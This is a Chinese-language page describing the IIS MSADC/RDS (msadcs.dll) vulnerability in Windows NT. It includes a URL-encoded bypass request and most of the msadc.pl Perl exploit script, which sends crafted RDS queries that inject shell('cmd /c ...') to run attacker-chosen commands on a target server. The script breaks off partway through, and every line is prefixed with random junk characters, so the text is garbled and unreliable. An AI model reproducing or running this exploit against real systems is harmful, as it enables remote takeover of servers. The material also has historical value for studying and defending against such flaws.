IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
rI/KrBM mGvP9E"& 涉及程序:
4>* `26 Microsoft NT server
Vk-_H)*r JB<4m4- 描述:
Jiq[VeLe 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
.~J^`/o ^h=kJR9 详细:
PAkW[;GSDh 如果你没有时间读详细内容的话,就删除:
7I|Mq c:\Program Files\Common Files\System\Msadc\msadcs.dll
+F|[9o z 有关的安全问题就没有了。
9OUhV[D cqudF=q 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
rY}ofq7b .U_=LV]C 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
d%bL_I) 关于利用ODBC远程漏洞的描述,请参看:
tO7{g T*m21< http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm p<4':s;* ~vmY2h\ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
)
|vFrR http://www.microsoft.com/security/bulletins/MS99-025faq.asp soF ^G21N g 7X>i: 这里不再论述。
,dBI=D' m='OnTeOE 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
4<|u~n*JF {SV$fl; /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
zdCt#=QV?R 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
Za w+ JK4 @ CR<l"~X #将下面这段保存为txt文件,然后: "perl -x 文件名"
2dfA}i>k GcuZPIN%D #!perl
>nX'RE|F #
EcU9Tm`h # MSADC/RDS 'usage' (aka exploit) script
<FEO6YP #
71_N9ub@z # by rain.forest.puppy
q9Q4F #
RswR DLl # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
<vs.Ucxx # beta test and find errors!
F <(Y
kel48B use Socket; use Getopt::Std;
U*cj'`eqC getopts("e:vd:h:XR", \%args);
_wBPn6gg` 2 O%UT?R print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
6k2~j j1d Y2Bu,/9^ if (!defined $args{h} && !defined $args{R}) {
A@UnrbX: print qq~
JS9q'd Usage: msadc.pl -h <host> { -d <delay> -X -v }
8CCA/6 -h <host> = host you want to scan (ip or domain)
O);V{1P -d <seconds> = delay between calls, default 1 second
e
6*=Si}V -X = dump Index Server path table, if available
*3|KbCX -v = verbose
NQmDm!-4 -e = external dictionary file for step 5
* 7CI q _),@^^&x Or a -R will resume a command session
bTj,5,8i eIJQ|p<v ~; exit;}
vJ!t.Vou 8Xr"4;}f+ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
C}CX n X if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
R##O9BSI8Z if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
"2mVW_k if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
F>OYZOC] $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
7DDot_qb if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
kDsUKO
p
rAWBuEU;! if (!defined $args{R}){ $ret = &has_msadc;
YpJzRm{Ra die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Hogr#Sn2 Y3?kj@T`i print "Please type the NT commandline you want to run (cmd /c assumed):\n"
%Xn)$Ti~< . "cmd /c ";
N}\i!YUD $in=<STDIN>; chomp $in;
% uKDcj $command="cmd /c " . $in ;
=$MV3]
/9sUp}* if (defined $args{R}) {&load; exit;}
d<]/,BY' )j](_kvK print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
7r>^_ aW &try_btcustmr;
Ex<loVIrP$ I8m(p+Z= print "\nStep 2: Trying to make our own DSN...";
/Mv'fich( &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
D3eK!'qS Js'|N%pi print "\nStep 3: Trying known DSNs...";
>QYxX<W &known_dsn;
@I%m}>4Jm :M Md@ print "\nStep 4: Trying known .mdbs...";
4R6X"T9- &known_mdb;
{+!_; zzZ 2l9_$evK~ if (defined $args{e}){
kns[b [!H print "\nStep 5: Trying dictionary of DSN names...";
s:%>H|- &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
NFQ0/iuW l1@:&j3h print "Sorry Charley...maybe next time?\n";
"YivjHa7H exit;
xaPTTa 1*XqwBV ##############################################################################
H]cCyuCdH Ou/{PK} sub sendraw { # ripped and modded from whisker
i+OyBDkJM! sleep($delay); # it's a DoS on the server! At least on mine...
Q?~l=}2 my ($pstr)=@_;
7JbN WN socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
#VLTx!5o die("Socket problems\n");
'SC`->F4D if(connect(S,pack "SnA4x8",2,80,$target)){
#]9yzyb_y select(S); $|=1;
cng1k
print $pstr; my @in=<S>;
ST{<G select(STDOUT); close(S);
\eN }V return @in;
IlH*s/ } else { die("Can't connect...\n"); }}
5z0SjQ by-B).7 ##############################################################################
b( wiJ&t ,$*$w< sub make_header { # make the HTTP request
'E9\V\bi my $msadc=<<EOT
Q WOd&=: POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
^+-i7`|= User-Agent: ACTIVEDATA
Yt&^i( Host: $ip
1&U U6| X Content-Length: $clen
AtSEKpKc Connection: Keep-Alive
^s^X n QhE ~GZ(Ou-& ADCClientVersion:01.06
y8\44WKW Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
5WEF^1 OfPWqNpO --!ADM!ROX!YOUR!WORLD!
%N 2=: ;f Content-Type: application/x-varg
?]:3`;h3 Content-Length: $reqlen
^;L;/I[- \MnlRBUM, EOT
JD.WH|sZ5 ; $msadc=~s/\n/\r\n/g;
?>2k>~xlQ return $msadc;}
hW(Mf (%tKGeb ##############################################################################
vFQ'sd]C b?y3m +V` sub make_req { # make the RDS request
u\50,N9Wp{ my ($switch, $p1, $p2)=@_;
YI|7a#*F my $req=""; my $t1, $t2, $query, $dsn;
9\V^q9l 1%H]2@ if ($switch==1){ # this is the btcustmr.mdb query
8!1vsEqv $query="Select * from Customers where City=" . make_shell();
=^NR(:SaaU $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
M5wj79'l" $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
`C,47 9~J SwLul4V elsif ($switch==2){ # this is general make table query
h&&ufF]D $query="create table AZZ (B int, C varchar(10))";
TwY]c<t $dsn="$p1";}
4~D?F'o d&F8nBIM5 elsif ($switch==3){ # this is general exploit table query
^ [2A<
g $query="select * from AZZ where C=" . make_shell();
k5(@n>p $dsn="$p1";}
TC'tui Q1g@FsW&U elsif ($switch==4){ # attempt to hork file info from index server
_L9`bzZj
$query="select path from scope()";
Ue!
&Vm $dsn="Provider=MSIDXS;";}
'RXhE 9|fg\C elsif ($switch==5){ # bad query
.^ soX} $query="select";
=}F &jl $dsn="$p1";}
s~,Y po? K%.\@l2Cp $t1= make_unicode($query);
S-*4HV_l $t2= make_unicode($dsn);
|.X?IJ` $req = "\x02\x00\x03\x00";
ml\A)8O]j/ $req.= "\x08\x00" . pack ("S1", length($t1));
+Uq$'2CT $req.= "\x00\x00" . $t1 ;
3V2"1Ic $req.= "\x08\x00" . pack ("S1", length($t2));
^As^hY^p $req.= "\x00\x00" . $t2 ;
>HXT:0 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
$o0o5 ^Z- return $req;}
n)gzHch ) m[0, ##############################################################################
-b8Vz}Y ckS.j)@.c sub make_shell { # this makes the shell() statement
-m3O\X return "'|shell(\"$command\")|'";}
wUv
Zc ;~3CuN8 ##############################################################################
O)n"a\LD eNR>W>;' sub make_unicode { # quick little function to convert to unicode
ZG3u my ($in)=@_; my $out;
ihdN{Mx<2 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
g ?qm >X return $out;}
1ve
%xF x[zt(kC0+ ##############################################################################
D:4Iex9$F" P;C3{>G9 sub rdo_success { # checks for RDO return success (this is kludge)
N[:;f^bH49 my (@in) = @_; my $base=content_start(@in);
[2:Q.Zj if($in[$base]=~/multipart\/mixed/){
)l~:Puvh return 1 if( $in[$base+10]=~/^\x09\x00/ );}
sA[hG*#/S return 0;}
N*y09?/h R5(<:] ##############################################################################
!`JaYUL[e q#$Al sub make_dsn { # this makes a DSN for us
A!\g!* my @drives=("c","d","e","f");
{1Z8cV print "\nMaking DSN: ";
LB1LQ0M foreach $drive (@drives) {
hOG9 print "$drive: ";
nep0<&